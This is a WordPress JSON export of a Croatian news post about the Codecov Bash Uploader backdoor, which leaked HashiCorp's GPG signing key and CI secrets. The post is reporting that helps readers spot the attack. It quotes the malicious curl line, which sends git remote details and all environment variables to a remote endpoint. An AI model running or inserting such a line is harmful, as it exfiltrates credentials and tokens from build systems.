{"id":100037,"date":"2021-04-27T10:22:34","date_gmt":"2021-04-27T08:22:34","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp"},"modified":"2021-04-27T10:22:34","modified_gmt":"2021-04-27T08:22:34","slug":"vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hr\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","title":{"rendered":"Uvo\u0111enje zlonamjernog koda u Codecov skriptu dovelo je do kompromitacije PGP klju\u010da HashiCorpa","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Tvrtka HashiCorp, poznata po razvoju otvorenih alata Vagrant, Packer, Nomad i Terraform, objavila je da je do\u0161lo do curenja tajnog GPG klju\u010da koji se koristi za stvaranje digitalnih potpisa koji verifikuju izdanja. Napada\u010di koji su dobili pristup GPG klju\u010da potencijalno su mogli unijeti skrivene promjene u proizvode HashiCorp, potvr\u0111uju\u0107i ih ispravnim digitalnim potpisom. Me\u0111utim, tvrtka je izjavila da tijekom provedenog audita nije prona\u0161la dokaze o poku\u0161ajima takvih modifikacija. <\/p>\n

Trenutno je kompromitirani GPG klju\u010d opozvan i uveden je novi klju\u010d. Problem se odnosio samo na verifikaciju putem SHA256SUM i SHA256SUM.sig datoteka, te nije utjecao na stvaranje digitalnih potpisa za DEB i RPM Linux pakete, koji se isporu\u010duju putem releases.hashicorp.com, kao ni na mehanizme potvrde izdanja za macOS i Windows (AuthentiCode). <\/p>\n

Curenje se dogodilo zbog kori\u0161tenja skripte Codecov Bash Uploader (codecov-bash) u infrastrukturi, koja je namijenjena u\u010ditavanju coverage izvje\u0161taja iz sustava kontinuirane integracije. Tijekom napada na tvrtku Codecov, u navedenu skriptu je neprimjetno uba\u010den backdoor, putem kojeg su poslani lozinke i \u0161ifrirani klju\u010devi na server<\/a> napada\u010de. <\/p>\n

Za hakiranje, napada\u010di su iskoristili pogre\u0161ku u procesu stvaranja Docker slike Codecov, koja je omogu\u0107ila pristup podacima za KCS (Google Cloud Storage), potrebnim za promjene u Bash Uploader skripti koja se \u0161iri s web stranice codecov.io. Promjene su unesene 31. sije\u010dnja i ostale nezapa\u017eene dva mjeseca, dopu\u0161taju\u0107i napada\u010dima da izvla\u010de informacije pohranjene u okru\u017eenjima sustava kontinuirane integracije klijenata. Pomo\u0107u dodanog zlo\u0107udnog koda, napada\u010di su mogli dobiti informacije o testiranom Git repozitoriju i svim varijablama okru\u017eenja, uklju\u010duju\u0107i tokene, \u0161ifrirane klju\u010deve i lozinke, koje su se prenosile u sustave kontinuirane integracije radi omogu\u0107avanja pristupa kodu aplikacija, skladi\u0161tima i servisima poput Amazon Web Services i GitHub. <\/p>\n

Osim izravnog poziva, Codecov Bash Uploader skripta kori\u0161tena je unutar drugih uploader-a, kao \u0161to su Codecov-action (Github), Codecov-circleci-orb i Codecov-bitrise-step, \u010diji su korisnici tako\u0111er pogo\u0111eni problemom. Svim korisnicima codecov-bash i povezanim proizvodima preporu\u010duje se da pregledaju svoje infrastrukture, kao i da promijene lozinke i \u0161ifre. Provjeru prisutnosti backdoora u skripti mo\u017eete izvr\u0161iti tra\u017eenjem retka curl -sm 0.5 -d \"$(git remote -v)<<< ENV $(env)" http:\/\/\/upload\/v2 || true
\n
Izvor: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a GPG-\u043a\u043b\u044e\u0447\u0443, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u043b\u0438 \u0432\u043d\u0435\u0441\u0442\u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b HashiCorp, \u0437\u0430\u0432\u0435\u0440\u0438\u0432 \u0438\u0445 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u0441\u043b\u0435\u0434\u043e\u0432 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0439 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100037","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Uvo\u0111enje zlonamjernog koda u skriptu Codecov dovelo je do kompromitacije PGP klju\u010da HashiCorpa | ProHoster","description":"Tvrtka HashiCorp, poznata po razvoju otvorenih alata Vagrant, Packer, Nomad i Terraform, objavila je curenje zatvorenog GPG klju\u010da koji se koristi za generiranje digitalnih potpisa koji verificiraju izdanja.","canonical_url":"https:\/\/prohoster.info\/hr\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"hr_HR","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 Codecov \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 PGP-\u043a\u043b\u044e\u0447\u0430 HashiCorp | ProHoster","og:description":"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b.","og:url":"https:\/\/prohoster.info\/hr\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-04-27T08:22:34+00:00","article:modified_time":"2021-04-27T08:22:34+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100037","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-04-27 08:40:28","updated":"2022-10-05 15:50:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/posts\/100037","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/comments?post=100037"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/posts\/100037\/revisions"}],"predecessor-version":[{"id":172925,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/posts\/100037\/revisions\/172925"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/media?parent=100037"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/categories?post=100037"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/hr\/wp-json\/wp\/v2\/tags?post=100037"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}